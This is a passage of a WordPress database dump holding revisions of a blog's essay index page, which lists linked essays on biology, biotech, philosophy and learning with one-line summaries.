Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2024-09-03 13:59:43','2024-09-03 13:59:43','',22,'https://trevorklee.com/?p=456',0,'revision','',0),
(457,1,'2024-09-03 13:59:55','2024-09-03 13:59:55','<!-- wp:paragraph -->\n<p>Want to read my latest essays? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - 